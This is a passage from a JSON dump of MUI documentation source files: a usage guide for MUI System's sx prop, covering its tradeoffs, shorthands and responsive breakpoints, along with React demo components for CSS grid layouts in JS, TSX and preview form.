    "content": "import TrendingUpIcon from '@mui/icons-material/TrendingUp';\nimport Box from '@mui/system/Box';\n\nexport default function Why() {\n  return (\n    <Box\n      sx={{\n        p: 2,\n        minWidth: 300,\n        border: '1px solid',\n        borderColor: 'divider',\n        bgcolor: 'background.default',\n        borderRadius: 2,\n      }}\n    >\n      <Box sx={{ color: 'text.secondary' }}>Sessions</Box>\n      <Box\n        sx={{ color: 'text.primary', fontSize: '2.125rem', fontWeight: 'medium' }}\n      >\n        98.3 K\n      </Box>\n      <Box\n        component={TrendingUpIcon}\n        sx={{ color: 'success.dark', fontSize: '1rem', verticalAlign: 'sub' }}\n      />\n      <Box\n        sx={{\n          display: 'inline',\n          fontSize: '0.875rem',\n          fontWeight: 'bold',\n          color: 'success.dark',\n          mx: 0.5,\n        }}\n      >\n        18.7%\n      </Box>\n      <Box sx={{ color: 'text.secondary', display: 'inline', fontSize: '0.875rem' }}>\n        vs. last week\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/usage/usage.md",
    "content": "# Usage\n\n<p class=\"description\">Learn the basics of working with MUI System and its utilities.</p>\n\n## Why use MUI System?\n\nMUI System's `sx` prop lets you avoid writing unnecessary styled-component code, and instead define styles directly within the component itself.\nThis is especially useful for one-off components with custom designs.\n\nThe following code samples illustrate the difference between styled-components and `sx`:\n\n{{\"demo\": \"Why.js\", \"bg\": true, \"defaultCodeOpen\": false}}\n\n1. Using the styled-components API:\n\n```jsx\nconst StatWrapper = styled('div')(\n  ({ theme }) => `\n  background-color: ${theme.palette.background.paper};\n  box-shadow: ${theme.shadows[1]};\n  border-radius: ${theme.shape.borderRadius}px;\n  padding: ${theme.spacing(2)};\n  min-width: 300px;\n`,\n);\n\nconst StatHeader = styled('div')(\n  ({ theme }) => `\n  color: ${theme.palette.text.secondary};\n`,\n);\n\nconst StyledTrend = styled(TrendingUpIcon)(\n  ({ theme }) => `\n  color: ${theme.palette.success.dark};\n  font-size: 16px;\n  vertical-alignment: sub;\n`,\n);\n\nconst StatValue = styled('div')(\n  ({ theme }) => `\n  color: ${theme.palette.text.primary};\n  font-size: 34px;\n  font-weight: ${theme.typography.fontWeightMedium};\n`,\n);\n\nconst StatDiff = styled('div')(\n  ({ theme }) => `\n  color: ${theme.palette.success.dark};\n  display: inline;\n  font-weight: ${theme.typography.fontWeightMedium};\n  margin-left: ${theme.spacing(0.5)};\n  margin-right: ${theme.spacing(0.5)};\n`,\n);\n\nconst StatPrevious = styled('div')(\n  ({ theme }) => `\n  color: ${theme.palette.text.secondary};\n  display: inline;\n  font-size: 12px;\n`,\n);\n\nreturn (\n  <StatWrapper>\n    <StatHeader>Sessions</StatHeader>\n    <StatValue>98.3 K</StatValue>\n    <StyledTrend />\n    <StatDiff>18.77%</StatDiff>\n    <StatPrevious>vs last week</StatPrevious>\n  </StatWrapper>\n);\n```\n\n2. Using MUI System:\n\n```jsx\n<Box\n  sx={{\n    bgcolor: 'background.paper',\n    boxShadow: 1,\n    borderRadius: 1,\n    p: 2,\n    minWidth: 300,\n  }}\n>\n  <Box sx={{ color: 'text.secondary' }}>Sessions</Box>\n  <Box sx={{ color: 'text.primary', fontSize: 34, fontWeight: 'medium' }}>\n    98.3 K\n  </Box>\n  <Box\n    component={TrendingUpIcon}\n    sx={{ color: 'success.dark', fontSize: 16, verticalAlign: 'sub' }}\n  />\n  <Box\n    sx={{ color: 'success.dark', display: 'inline', fontWeight: 'medium', mx: 0.5 }}\n  >\n    18.77%\n  </Box>\n  <Box sx={{ color: 'text.secondary', display: 'inline', fontSize: 12 }}>\n    vs. last week\n  </Box>\n</Box>\n```\n\n### The sx prop\n\nMUI System's core utility is the `sx` prop, which gives you a quick and efficient way to apply the correct design tokens directly to a React element.\n\nThis prop provides a superset of CSS (that is it contains all CSS properties and selectors in addition to custom ones) that maps values directly from the theme, depending on the CSS property used.\nIt also simplifies the process of defining responsive values by referring to the breakpoints defined in the theme.\n\nVisit [the `sx` prop page](/system/getting-started/the-sx-prop/) for complete details.\n\n### Responsive demo\n\nThe following demo shows how to use the `sx` prop to apply custom styles and create a complex UI component using the `Box` wrapper alone.\nResize the window to see the responsive breakpoints:\n\n{{\"demo\": \"Demo.js\", \"bg\": true, \"defaultCodeOpen\": true}}\n\n## When to use MUI System\n\nThe `sx` prop is best suited for applying one-off styles to custom components.\n\nThis is in contrast to the styled-components API, which is ideal for building components that need to support a wide variety of contexts.\nThese components are used in many different parts of the application and support different combinations of props.\n\n### Performance tradeoffs\n\nMUI System relies on CSS-in-JS.\nIt works with both Emotion and styled-components.\n\n#### Pros\n\n- 📚 The `sx` prop uses a superset of CSS, so the syntax will be immediately familiar to you if you know CSS already.\n  It also offers (optional) shorthand definitions that can save you time if you put in a little work to learn them upfront.\n  These are documented in the **Style utilities** section of the primary navigation to the left.\n- 📦 The System auto-purges, so that only the CSS that's used on the page is sent to the client.\n  The initial bundle size cost is fixed—it doesn't get any larger as you add more CSS properties.\n  You pay the cost of [@emotion/react](https://bundlephobia.com/package/@emotion/react) and [@mui/system](https://bundlephobia.com/package/@mui/system).\n  The total size is ~15 kB gzipped.\n  But if you are already using an MUI Core component library like Material UI, then it comes with no extra overhead.\n\n#### Cons\n\nRuntime performance takes a hit.\n\n| Benchmark case                    | Code snippet          | Time normalized |\n| :-------------------------------- | :-------------------- | --------------: |\n| a. Render 1,000 primitives        | `<div className=\"…\">` |           100ms |\n| b. Render 1,000 components        | `<Div>`               |           112ms |\n| c. Render 1,000 styled components | `<StyledDiv>`         |           181ms |\n| d. Render 1,000 Box               | `<Box sx={…}>`        |           296ms |\n\n<!-- #target-branch-reference -->\n\nVisit the [benchmark folder](https://github.com/mui/material-ui/tree/master/benchmark/browser) for a reproduction of the metrics above.\n\nWe believe that for most use cases it's fast enough, but there are simple workarounds when performance becomes critical.\nFor instance, when rendering a list with many items, you can use a CSS child selector to have a single \"style injection\" point (using d. for the wrapper and a. for each item).\n\n### API tradeoff\n\nMUI System's unifying `sx` prop helps to maintain the separation of concerns between CSS utilities and component business logic.\n\nFor instance, a `color` prop on a button impacts multiple states (hover, focus, etc.), and is distinct from the CSS `color` property.\n\nOnly the `Box`, `Stack`, `Typography`, and `Grid` components accept MUI System properties as props for this reason.\nThese components are designed to solve CSS problems—they are CSS component utilities.\n\n## Where to use MUI System\n\nThe `sx` prop can be used in four different locations:\n\n### Core components\n\nAll Material UI and Joy UI components support the `sx` prop.\n\n### Box\n\n[`Box`](/system/react-box/) is a lightweight component that gives access to the `sx` prop, and can be used as a utility component, and as a wrapper for other components.\nIt renders a `<div>` element by default.\n\n### Custom components\n\nIn addition to MUI System components, you can add the `sx` prop to your custom components too, by using the `styled` utility from `@mui/material/styles`.\n\n```jsx\nimport { styled } from '@mui/material/styles';\n\nconst Div = styled('div')``;\n```\n\n### Any element with the babel plugin\n\nVisit [the open GitHub issue](https://github.com/mui/material-ui/issues/23220) regarding this topic to learn more.\n\n## How to use MUI System\n\n### Design tokens in the theme\n\nVisit the [System properties page](/system/properties/) to learn how the different CSS (and custom) properties are mapped to the theme keys.\n\n### Shorthands\n\nThere are many shorthands available for various CSS properties.\nThese are documented on their respective Style utilities pages.\nHere is an example of a few:\n\n```jsx\n<Box\n  sx={{  boxShadow: 1, // theme.shadows[1]\n    color: 'primary.main', // theme.palette.primary.main\n    m: 1, // margin: theme.spacing(1)\n    p: {\n      xs: 1, // [theme.breakpoints.up('xs')]: { padding: theme.spacing(1) }\n    },\n    zIndex: 'tooltip', // theme.zIndex.tooltip\n  }}\n>\n```\n\nThese shorthands are optional—they're great for saving time, but not necessary to use\n\n### Superset of CSS\n\nThe `sx` prop supports CSS syntax including child and pseudo-selectors, media queries, raw CSS values, and more.\nHere are a few examples of how you can implement these CSS features:\n\n- Using pseudo-selectors:\n\n  ```jsx\n  <Box\n    sx={{    // some styles\n      \":hover\": {\n        boxShadow: 6,\n      },\n    }}\n  >\n  ```\n\n- Using media queries:\n\n  ```jsx\n  <Box\n    sx={{    // some styles\n      '@media print': {\n        width: 300,\n      },\n    }}\n  >\n  ```\n\n- Using nested selector:\n\n  ```jsx\n  <Box\n    sx={{    // some styles\n      '& .ChildSelector': {\n        bgcolor: 'primary.main',\n      },\n    }}\n  >\n  ```\n\n### Responsive values\n\nThe `sx` prop simplifies the process of defining and implementing responsive breakpoints.\nYou can define a set of breakpoints in two different ways: as an object, or as an array.\n\n#### Breakpoints as an object\n\nThe first option for breakpoints is to define them as an object, using the breakpoint values as keys.\nNote that each property for a given breakpoint also applies to all larger breakpoints in the set.\nFor example, `width: { lg: 100 }` is equivalent to `theme.breakpoints.up('lg')`.\n\nThe following demo shows how to define a set of breakpoints using the object syntax:\n\n{{\"demo\": \"BreakpointsAsObject.js\"}}\n\n:::info\n📣 Starting from v6, the object structure supports [container queries](https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Containment/Container_queries) shorthand with `@`.\n\nWe recommend checking the [browser support](https://caniuse.com/?search=container%20que) before using CSS container queries.\n:::\n\nThe shorthand syntax is `@{breakpoint}/{container}`:\n\n- **breakpoint**: a number for `px` unit or a breakpoint key (e.g. `sm`, `md`, `lg`, `xl` for default breakpoints) or a valid CSS value (e.g. `40em`).\n- **container** (optional): the name of the [containment context](https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Containment/Container_queries#naming_containment_contexts).\n\n{{\"demo\": \"ContainerQueries.js\"}}\n\n#### Breakpoints as an array\n\nThe second option is to define your breakpoints as an array, from smallest to largest.\nHere's what that looks like:\n\n{{\"demo\": \"BreakpointsAsArray.js\"}}\n\n:::success\nThis option should only be considered when the theme has a limited number of breakpoints, for example 3.\n\nWe recommend using the object API instead if you need to define more than a few breakpoints.\n:::\n\nYou can skip breakpoints with the `null` value:\n\n```jsx\n<Box sx={{ width: [null, null, 300] }}>This box has a responsive width.</Box>\n```\n\n#### Custom breakpoints\n\nYou can also specify your own custom breakpoints, and use them as keys when defining the breakpoints object.\nHere is an example of how to do that:\n\n```jsx\nimport * as React from 'react';\nimport Box from '@mui/material/Box';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\n\nconst theme = createTheme({\n  breakpoints: {\n    values: {\n      mobile: 0,\n      tablet: 640,\n      laptop: 1024,\n      desktop: 1280,\n    },\n  },\n});\n\nexport default function CustomBreakpoints() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Box\n        sx={{\n          width: {\n            mobile: 100,\n            laptop: 300,\n          },\n        }}\n      >\n        This box has a responsive width\n      </Box>\n    </ThemeProvider>\n  );\n}\n```\n\nIf you are using TypeScript, you will also need to use [module augmentation](/material-ui/guides/typescript/#customization-of-theme) for the theme to accept the above values.\n\n```ts\ndeclare module '@mui/material/styles' {\n  interface BreakpointOverrides {\n    xs: false; // removes the `xs` breakpoint\n    sm: false;\n    md: false;\n    lg: false;\n    xl: false;\n    tablet: true; // adds the `tablet` breakpoint\n    laptop: true;\n    desktop: true;\n  }\n}\n```\n\n#### Theme getter\n\nIf you wish to use the theme for a CSS property that is not supported natively by MUI System, then you can use a function as the value, in which you can access the theme object.\nThe following demo shows how this works:\n\n{{\"demo\": \"ValueAsFunction.js\"}}\n"
  },
  {
    "path": "docs/data/system/grid/Display.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Display() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={(theme) => ({\n          display: 'grid',\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        {\"I'm a grid container!\"}\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/Display.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Display() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={(theme) => ({\n          display: 'grid',\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        {\"I'm a grid container!\"}\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/Gap.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function Gap() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box sx={{ display: 'grid', gap: 1, gridTemplateColumns: 'repeat(2, 1fr)' }}>\n        <Item>1</Item>\n        <Item>2</Item>\n        <Item>3</Item>\n        <Item>4</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/Gap.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function Gap() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box sx={{ display: 'grid', gap: 1, gridTemplateColumns: 'repeat(2, 1fr)' }}>\n        <Item>1</Item>\n        <Item>2</Item>\n        <Item>3</Item>\n        <Item>4</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/Gap.tsx.preview",
    "content": "<Box sx={{ display: 'grid', gap: 1, gridTemplateColumns: 'repeat(2, 1fr)' }}>\n  <Item>1</Item>\n  <Item>2</Item>\n  <Item>3</Item>\n  <Item>4</Item>\n</Box>"
  },
  {
    "path": "docs/data/system/grid/GridAutoColumns.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function GridAutoColumns() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box sx={{ display: 'grid', gridAutoColumns: '1fr', gap: 1 }}>\n        <Item sx={{ gridRow: '1', gridColumn: 'span 2' }}>span 2</Item>\n        {/* The second non-visible column has width of 1/4 */}\n        <Item sx={{ gridRow: '1', gridColumn: '4 / 5' }}>4 / 5</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/GridAutoColumns.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function GridAutoColumns() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box sx={{ display: 'grid', gridAutoColumns: '1fr', gap: 1 }}>\n        <Item sx={{ gridRow: '1', gridColumn: 'span 2' }}>span 2</Item>\n        {/* The second non-visible column has width of 1/4 */}\n        <Item sx={{ gridRow: '1', gridColumn: '4 / 5' }}>4 / 5</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/GridAutoColumns.tsx.preview",
    "content": "<Box sx={{ display: 'grid', gridAutoColumns: '1fr', gap: 1 }}>\n  <Item sx={{ gridRow: '1', gridColumn: 'span 2' }}>span 2</Item>\n  {/* The second non-visible column has width of 1/4 */}\n  <Item sx={{ gridRow: '1', gridColumn: '4 / 5' }}>4 / 5</Item>\n</Box>"
  },
  {
    "path": "docs/data/system/grid/GridAutoFlow.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          borderRadius: 2,\n          textAlign: 'center',\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function GridAutoFlow() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'grid',\n          gridAutoFlow: 'row',\n          gridTemplateColumns: 'repeat(5, 1fr)',\n          gridTemplateRows: 'repeat(2, 50px)',\n          gap: 1,\n        }}\n      >\n        <Item sx={{ gridColumn: '1', gridRow: '1 / 3' }}>1</Item>\n        <Item>2</Item>\n        <Item>3</Item>\n        <Item>4</Item>\n        <Item sx={{ gridColumn: '5', gridRow: '1 / 3' }}>5</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/GridAutoFlow.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          borderRadius: 2,\n          textAlign: 'center',\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function GridAutoFlow() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'grid',\n          gridAutoFlow: 'row',\n          gridTemplateColumns: 'repeat(5, 1fr)',\n          gridTemplateRows: 'repeat(2, 50px)',\n          gap: 1,\n        }}\n      >\n        <Item sx={{ gridColumn: '1', gridRow: '1 / 3' }}>1</Item>\n        <Item>2</Item>\n        <Item>3</Item>\n        <Item>4</Item>\n        <Item sx={{ gridColumn: '5', gridRow: '1 / 3' }}>5</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/GridAutoFlow.tsx.preview",
    "content": "<Box\n  sx={{\n    display: 'grid',\n    gridAutoFlow: 'row',\n    gridTemplateColumns: 'repeat(5, 1fr)',\n    gridTemplateRows: 'repeat(2, 50px)',\n    gap: 1,\n  }}\n>\n  <Item sx={{ gridColumn: '1', gridRow: '1 / 3' }}>1</Item>\n  <Item>2</Item>\n  <Item>3</Item>\n  <Item>4</Item>\n  <Item sx={{ gridColumn: '5', gridRow: '1 / 3' }}>5</Item>\n</Box>"
  },
  {
    "path": "docs/data/system/grid/GridAutoRows.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          borderRadius: 2,\n          textAlign: 'center',\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function GridAutoRows() {\n  return (\n    <div style={{ width: '100%', height: 220 }}>\n      <Box sx={{ display: 'grid', gridAutoRows: '40px', gap: 1 }}>\n        <Item sx={{ gridColumn: '1', gridRow: 'span 2' }}>span 2</Item>\n        {/* The second non-visible row has height of 40px */}\n        <Item sx={{ gridColumn: '1', gridRow: '4 / 5' }}>4 / 5</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/GridAutoRows.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          borderRadius: 2,\n          textAlign: 'center',\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function GridAutoRows() {\n  return (\n    <div style={{ width: '100%', height: 220 }}>\n      <Box sx={{ display: 'grid', gridAutoRows: '40px', gap: 1 }}>\n        <Item sx={{ gridColumn: '1', gridRow: 'span 2' }}>span 2</Item>\n        {/* The second non-visible row has height of 40px */}\n        <Item sx={{ gridColumn: '1', gridRow: '4 / 5' }}>4 / 5</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/GridAutoRows.tsx.preview",
    "content": "<Box sx={{ display: 'grid', gridAutoRows: '40px', gap: 1 }}>\n  <Item sx={{ gridColumn: '1', gridRow: 'span 2' }}>span 2</Item>\n  {/* The second non-visible row has height of 40px */}\n  <Item sx={{ gridColumn: '1', gridRow: '4 / 5' }}>4 / 5</Item>\n</Box>"
  },
  {
    "path": "docs/data/system/grid/GridTemplateAreas.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function GridTemplateAreas() {\n  return (\n    <Box\n      sx={{\n        width: '100%',\n        height: '140px',\n        color: '#fff',\n        '& > .MuiBox-root > .MuiBox-root': {\n          p: 1,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n        },\n      }}\n    >\n      <Box\n        sx={{\n          display: 'grid',\n          gridTemplateColumns: 'repeat(4, 1fr)',\n          gap: 1,\n          gridTemplateRows: 'auto',\n          gridTemplateAreas: `\"header header header header\"\n        \"main main . sidebar\"\n        \"footer footer footer footer\"`,\n        }}\n      >\n        <Box sx={{ gridArea: 'header', bgcolor: 'primary.main' }}>Header</Box>\n        <Box sx={{ gridArea: 'main', bgcolor: 'secondary.main' }}>Main</Box>\n        <Box sx={{ gridArea: 'sidebar', bgcolor: 'error.main' }}>Sidebar</Box>\n        <Box sx={{ gridArea: 'footer', bgcolor: 'warning.dark' }}>Footer</Box>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/GridTemplateAreas.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function GridTemplateAreas() {\n  return (\n    <Box\n      sx={{\n        width: '100%',\n        height: '140px',\n        color: '#fff',\n        '& > .MuiBox-root > .MuiBox-root': {\n          p: 1,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n        },\n      }}\n    >\n      <Box\n        sx={{\n          display: 'grid',\n          gridTemplateColumns: 'repeat(4, 1fr)',\n          gap: 1,\n          gridTemplateRows: 'auto',\n          gridTemplateAreas: `\"header header header header\"\n        \"main main . sidebar\"\n        \"footer footer footer footer\"`,\n        }}\n      >\n        <Box sx={{ gridArea: 'header', bgcolor: 'primary.main' }}>Header</Box>\n        <Box sx={{ gridArea: 'main', bgcolor: 'secondary.main' }}>Main</Box>\n        <Box sx={{ gridArea: 'sidebar', bgcolor: 'error.main' }}>Sidebar</Box>\n        <Box sx={{ gridArea: 'footer', bgcolor: 'warning.dark' }}>Footer</Box>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/GridTemplateAreas.tsx.preview",
    "content": "<Box\n  sx={{\n    display: 'grid',\n    gridTemplateColumns: 'repeat(4, 1fr)',\n    gap: 1,\n    gridTemplateRows: 'auto',\n    gridTemplateAreas: `\"header header header header\"\n  \"main main . sidebar\"\n  \"footer footer footer footer\"`,\n  }}\n>\n  <Box sx={{ gridArea: 'header', bgcolor: 'primary.main' }}>Header</Box>\n  <Box sx={{ gridArea: 'main', bgcolor: 'secondary.main' }}>Main</Box>\n  <Box sx={{ gridArea: 'sidebar', bgcolor: 'error.main' }}>Sidebar</Box>\n  <Box sx={{ gridArea: 'footer', bgcolor: 'warning.dark' }}>Footer</Box>\n</Box>"
  },
  {
    "path": "docs/data/system/grid/GridTemplateColumns.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          m: 1,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function GridTemplateColumns() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box sx={{ display: 'grid', gridTemplateColumns: 'repeat(3, 1fr)' }}>\n        <Item>1</Item>\n        <Item>2</Item>\n        <Item>3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/GridTemplateColumns.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          m: 1,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function GridTemplateColumns() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box sx={{ display: 'grid', gridTemplateColumns: 'repeat(3, 1fr)' }}>\n        <Item>1</Item>\n        <Item>2</Item>\n        <Item>3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/GridTemplateColumns.tsx.preview",
    "content": "<Box sx={{ display: 'grid', gridTemplateColumns: 'repeat(3, 1fr)' }}>\n  <Item>1</Item>\n  <Item>2</Item>\n  <Item>3</Item>\n</Box>"
